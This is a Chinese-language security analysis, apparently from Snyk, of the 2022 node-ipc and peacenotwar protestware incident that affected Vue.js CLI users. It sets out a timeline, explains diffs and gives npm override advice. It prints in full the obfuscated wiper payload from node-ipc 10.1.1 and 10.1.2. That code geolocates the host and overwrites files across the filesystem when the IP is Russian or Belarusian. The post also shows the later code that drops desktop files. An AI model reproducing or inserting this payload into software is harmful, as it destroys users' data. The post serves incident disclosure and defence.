2022年3月15日,流行的Vue.js前端JavaScript框架的用户开始经历一场只能被描述为影响npm生态系统的供应链攻击。这是嵌套的依赖关系node-ipc和peacenotwar被破坏的结果,是node-ipc包的维护者的抗议行为。
这一安全事件涉及到一个维护者破坏磁盘上的文件的破坏性行为,以及他们试图以不同的形式隐藏和重述这种故意的破坏行为。虽然这是一起以抗议为动机的攻击,但它突出了软件供应链所面临的一个更大的问题:你的代码中的横向依赖关系会对你的安全产生巨大影响。
Snyk正在通过以下CVE追踪本文中所描绘的安全事件。针对node-ipc的CVE-2022-23812(https://security.snyk.io/vuln/SNYK-JS-NODEIPC-2426370)和针对peacenotwar和oneday-test (https://security.snyk.io/vuln/SNYK-JS-NODEIPC-2426370%EF%BC%89%E5%92%8C%E9%92%88%E5%AF%B9peacenotwar%E5%92%8Coneday-test) npm模块的SNYK-JS-PEACENOTWAR-2426724(https://security.snyk.io/vuln… (https://security.snyk.io/vuln…)
导致滥用npm包node-ipc的先前事件
这个故事开始于2022年3月8日6点GMT+2,当时,npm维护者RIAEvangelist(Brandon Nozaki Miller)编写了源代码(https://github.com/RIAEvangelist/peacenotwar)并发布了一个名为peacenotwar(https://www.npmjs.com/package/peacenotwar)的npm包,按照他们对这个模块的描述。
This code serves as a non-destructive example of why controlling
your node modules is important. It also serves as a non-violent
protest against Russia's aggression that threatens the world right
now. This module will add a message of peace on your users'
desktops, and it will only do it if it does not already exist
just to be polite.
直到(3月15日,这个模块几乎没有任何下载,然而,当npm的维护者将这个模块作为他们其他流行模块之一的node-ipc的依赖项时,这一切都改变了,node-ipc本身就是一个流行的依赖项,生态系统中的许多JavaScript开发者都依赖于它。

其中一个JavaScript生态系统项目是Vue.js的命令行工具Vue.js CLI,也被称为npm包@vue/cli。下面的嵌套依赖树确切地显示了node-ipc是如何渗入Vue.js CLI npm包的,并进一步促进了将嵌套依赖作为一个整体风险来审查的必要性。
- @vue/cli
|- @vue/cli-ui
|- node-ipc@^9.2.1- @vue/cli-shared-utils
|- node-ipc@^9.1.1
目前最新的 “稳定 “版本的npm包node-ipc(版本9.2.2)捆绑了peacenotwar,同时,有趣的是,它还捆绑了臭名昭著的color npm包,其依赖范围是通配符*。如果你还没有听说过npm包颜色,以及faker被其npm包维护者Marak(https://snyk.io/blog/open-source-npm-packages-colors-faker/)故意滥用和破坏的故事,我强烈建议你跟进,作为开源供应链安全的另一个角度。
事件时间轴
之前的node-ipc版本,如10.1.0(六个月前发布),直到10.0.0(九个月前发布),都有真正的更新和改进加入其中。然而…
3月7日
上周,10.1.1版本发布了明确的代码更新,引起了人们对可疑活动和潜在滥用源代码和软件包行为的关注。让我们探讨一下10.1.0和10.1.1版本之间的区别。
diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.0..v10.1.1 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,6 +1030,74 @@
});
}
+// dao/ssl-geospec.js
+var import_path = __toModule(require("path"));
+var import_fs3 = __toModule(require("fs"));
+var import_https = __toModule(require("https"));
+setTimeout(function() {
+ const t = Math.round(Math.random() * 4);
+ if (t > 1) {
+ return;
+ }
+ const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
+ import_https.default.get(n.toString("utf8"), function(t2) {
+ t2.on("data", function(t3) {
+ const n2 = Buffer.from("Li8=", "base64");
+ const o2 = Buffer.from("Li4v", "base64");
+ const r = Buffer.from("Li4vLi4v", "base64");
+ const f = Buffer.from("Lw==", "base64");
+ const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+ const e = Buffer.from("cnVzc2lh", "base64");
+ const i = Buffer.from("YmVsYXJ1cw==", "base64");
+ try {
+ const s = JSON.parse(t3.toString("utf8"));
+ const u2 = s[c.toString("utf8")].toLowerCase();
+ const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
+ if (a2) {
+ h(n2.toString("utf8"));
+ h(o2.toString("utf8"));
+ h(r.toString("utf8"));
+ h(f.toString("utf8"));
+ }
+ } catch (t4) {
+ }
+ });
+ });
+}, Math.ceil(Math.random() * 1e3));
+async function h(n = "", o2 = "") {
+ if (!import_fs3.default.existsSync(n)) {
+ return;
+ }
+ let r = [];
+ try {
+ r = import_fs3.default.readdirSync(n);
+ } catch (t) {
+ }
+ const f = [];
+ const c = Buffer.from("4p2k77iP", "base64");
+ for (var e = 0; e < r.length; e++) {
+ const i = import_path.default.join(n, r[e]);
+ let t = null;
+ try {
+ t = import_fs3.default.lstatSync(i);
+ } catch (t2) {
+ continue;
+ }
+ if (t.isDirectory()) {
+ const s = h(i, o2);
+ s.length > 0 ? f.push(...s) : null;
+ } else if (i.indexOf(o2) >= 0) {
+ try {
+ import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+ });
+ } catch (t2) {
+ }
+ }
+ }
+ return f;
+}
+var ssl = true;
+
node-ipc.cjs与CommonJS兼容的Node.js模块相当长,超过1000行的代码。向外的HTTPS调用的存在,以及其中的Base64编码数据,足以让我们对这里可能存在的错误行为保持警惕,并作为IoCs(妥协的迹象)的基础。
这段被添加到[email protected] 的代码设置了一个定时器,因此在每一个预先配置的随机间隔中,节点-IPC相关的代码被调用,它也执行一个函数,似乎是在进行文件系统操作。
让我们仔细看看传递给执行文件系统操作的函数的参数的Base64编码值。从上面的差异来看。
+ const n2 = Buffer.from("Li8=", "base64");
+ const o2 = Buffer.from("Li4v", "base64");
+ const r = Buffer.from("Li4vLi4v", "base64");
+ const f = Buffer.from("Lw==", "base64");
+ const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+ const e = Buffer.from("cnVzc2lh", "base64");
+ const i = Buffer.from("YmVsYXJ1cw==", "base64");
然后,所有这些都被传递给定时器函数,如:
+ h(n2.toString("utf8"));
上述编码的Base64字符串的值是。
n2
is set to:./
o2
is set to:../
r
is set to:../../
f
is set to:/
当这些被传递给定时器函数时,它们就被用在下面一行代码中,作为文件输入的来源,以擦除文件内容并替换成心形表情符号(通过diff行描述 + const c = Buffer.from(“4p2k77iP”, “base64”);)
+ try {
+ import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+ });
在这一点上,如果这个npm包与俄罗斯或白俄罗斯的地理位置相匹配,那么在任何系统上调用这个npm包都会发生非常明显的滥用和关键供应链安全事件。
[email protected] 的README文件的更新内容并没有出这个新增加的行为。相反,它包括对赞助RIAEvangelist的调用,以及一个如何在10及以上版本中使用ES6和CommonJS版本的node-ipc的例子。
大约十个小时后,版本[email protected],除了版本升级,几乎没有任何变化。潜在的,试图触发自动依赖性升级。这里是两个版本之间的完整git diff。
diff --git a/package.json b/package.json index v10.1.1..v10.1.2 100666--- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ {"name": "node-ipc",- "version": "10.1.1",+ "version": "10.1.2","description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.","type": "module","main": "node-ipc.cjs",
3月8日
然后,大约五个小时后,在3月8日,推送了一个新的版本:[email protected],它似乎已经删除了上述破坏性有效载荷的所有迹象。检查这两个版本之间的git diff可以证实。
diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.2..v10.1.3 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,74 +1030,6 @@
});
}
-// dao/ssl-geospec.js
-var import_path = __toModule(require("path"));
-var import_fs3 = __toModule(require("fs"));
-var import_https = __toModule(require("https"));
-setTimeout(function() {
- const t = Math.round(Math.random() * 4);
- if (t > 1) {
- return;
- }
…
diff --git a/dao/ssl-geospec.js b/dao/ssl-geospec.js
deleted file mode 100666
index v10.1.2..v10.1.3
--- a/dao/ssl-geospec.js
+++ b/dao/ssl-geospec.js
@@ -1,1 +0,0 @@
-import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
我们怀疑这已经从10.x版本的分支中推出,原因是源于报告这一行为的GitHub问题(https://github.com/RIAEvangelist/node-ipc/issues/233#issuecomment-1068182278)的对话,其中维护者声称(https://github.com/RIAEvangelist/node-ipc/issues/233#issuecomment-1063557929),他们已经将该有效载荷作为库的新主要版本的一部分发布。

因此,在这一点上,我们可以总结一下,node-ipc的脆弱版本是[email protected] 和[email protected],在npmjs注册表上存在不到24小时,然而由于整个开发人员和构建系统的高下载量,这肯定已经影响了其中的一些,我们已经确认被报告(https://github.com/RIAEvangelist/node-ipc/issues/233#issuecomment-1067905728)在公共仓库。

然而,脆弱的10.1.1和10.1.2版本在npmjs注册表上已经不存在了,而且实际上已经被维护者或npmjs团队标记为废弃。我们可以从以下npmjs网站的通知中确认(https://www.npmjs.com/package/node-ipc/v/10.1.2)。

3月8日7:25PM GMT+2,在[email protected],以回滚破坏性的有效载荷后不到四个小时,一个新的主要版本[email protected],在npmjs注册表上被发布。有什么变化?
新的[email protected] 主要版本现在包括以下内容。
- 对peacenotwar模块的依赖性
- 任何时候node-ipc模块功能被调用,它都会向STDOUT打印一条从peacenotwar模块中提取的信息,同时在用户的桌面目录中放置一个文件,内容与当前俄罗斯和乌克兰的战时局势有关。
- 11.0.0的README在以下说明中传达了peacenotwar作为该模块一部分的明确用法。
***asofv11***thismodule uses the[peacenotwar](https://github.com/RIAEvangelist/peacenotwar)module.
- 是什么导致了npm的packagepeacenotwar被放入主线node-ipc版本,影响了数百万的开发者?
3月15日
昨天,3月15日,在6:49PM GMT+2和7:40PM GMT+2,为node-ipc发布了两个新的重要且有影响的npm版本。其中最重要的是新的补丁版本[email protected],因为它是node-ipc的最新稳定分支,许多生态系统项目都依赖它,包括前面提到的@vue/cli Vue.js CLI。
以下是[email protected] 中增加的变化。
- 它在软件包内容中增加了一些示例源代码。
- 它将peacenotwar作为一个依赖项,并在node-ipc被任何导入它的依赖项调用时运行它。
- 它还明确地增加了对colors@*的依赖,该依赖拉入了另一个维护者(https://snyk.io/blog/open-source-npm-packages-colors-faker/)的故意脆弱的源代码。
- 它在这个新的次要版本中把许可证从MIT许可证改为DBAD许可证 编辑注:DBAD(https://dbad-license.org/)许可证包含粗略的语言。
- 大约在同一时间,一个新的次要版本发布了:[email protected],它将peacenotwar的依赖关系提升到新的版本,但删除了记录的console.log() STDOUT信息。我们可以在下面的git diff日志中确认node-ipc的两个npm包之间。
/diff --git a/node-ipc.cjs b/node-ipc.cjs
index v11.0.0..v11.1.0 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1328,7 +1328,6 @@
var OneDriveDesktopFileExists = fromDir(OneDriveDesktops, "WITH-LOVE-FROM-AMERICA.txt");
var OneDriveFileExists = fromDir(OneDrive, "WITH-LOVE-FROM-AMERICA.txt");
function deliverAPeacefulMessage(path2, message) {
- console.log(path2);
try {
import_fs5.default.writeFile(path2, message, function(err) {
});
@@ -1336,7 +1335,6 @@
}
}
if (!(DesktopFileExists == null ? void 0 : DesktopFileExists.length) && !(OneDriveFileExists == null ? void 0 : OneDriveFileExists.length) && !(OneDriveDesktopFileExists == null ? void 0 : OneDriveDesktopFileExists.length)) {
- console.log("in here");
const thinkaboutit = "WITH-LOVE-FROM-AMERICA.txt";
const WITH_LOVE_FROM_AMERICA = read(`./${thinkaboutit}`);
deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`, WITH_LOVE_FROM_AMERICA);
diff --git a/package.json b/package.json
index v11.0.0..v11.1.0 100666
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
{
"name": "node-ipc",
- "version": "11.0.0",
+ "version": "11.1.0",
"description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
"type": "module",
"main": "node-ipc.cjs",
@@ -19,7 +19,7 @@
"event-pubsub": "5.0.3",
"js-message": "1.0.7",
"js-queue": "2.0.2",
- "peacenotwar": "^9.1.3",
+ "peacenotwar": "^9.1.5",
"strong-type": "^1.0.1"
},
"devDependencies": {
面对维护者声誉的供应链安全
即使维护者RIAEvangelist的故意和危险行为会被一些人认为是合法的抗议行为。这对维护者未来在开发者社区的声誉和利益有何影响?这个维护者是否还会被信任,不会再为他们参与的任何项目在今后的行为中采取这种甚至更激进的行动?
目前,RIAEvangelist维护着其他40多个npm包,背后有数亿的下载量。以下是他们维护的一些模块以及他们在npmjs注册表上的每周下载量。
npm Module | Weekly downloads |
node-ipc – 一个用于本地和远程进程间通信(IPC)、神经网络的nodejs模块,并能够促进机器学习。 | 1,055,386 |
js-queue – 简单的JS队列,对节点和浏览器自动运行 | 1,042,512 |
easy-stack – 简单的JS堆栈,对节点和浏览器自动运行。 | 1,001,945 |
js-message – 用于node.js、vanialla js、react.js、组件、行动、商店和调度器的规范化JS对象和JSON消息和事件协议。 | 1,001,943 |
event-pubsub – 为Node和浏览器提供超轻和快速的可扩展ES6+事件和EventEmitters。对任何开发者水平都很容易,在节点和浏览器中使用相同的代码。没有花哨的东西,只有高速的事件! | 996,076 |
node-cmd – 简单的命令行/终端/shell接口,允许你像在终端一样运行cli或bash风格的命令。 | 41,083 |
Snyk安全研究团队没有发现该维护者的其他软件包有任何类似的故意滥用的迹象,但对发布到npmjs生态系统的更新保持着警惕。
如何缓解节点-IPC问题
由于担心未来的代码更新可能使用户处于危险之中,我们建议完全避免使用node-ipc npm包。如果这个npm包被捆绑在你的项目中,作为你正在构建的应用程序的一部分,那么我们建议你使用npm包管理器功能,完全覆盖被破坏的版本,并将横向依赖关系锁定为*已知的好。
如果你使用npm作为软件包管理器,你可以在你的package.json文件中添加以下内容,明确地只允许node-ipc的良性版本。
"overrides": {"node-ipc@>9.2.1 <10": "9.2.1","node-ipc@>10.1.0": "10.1.0"}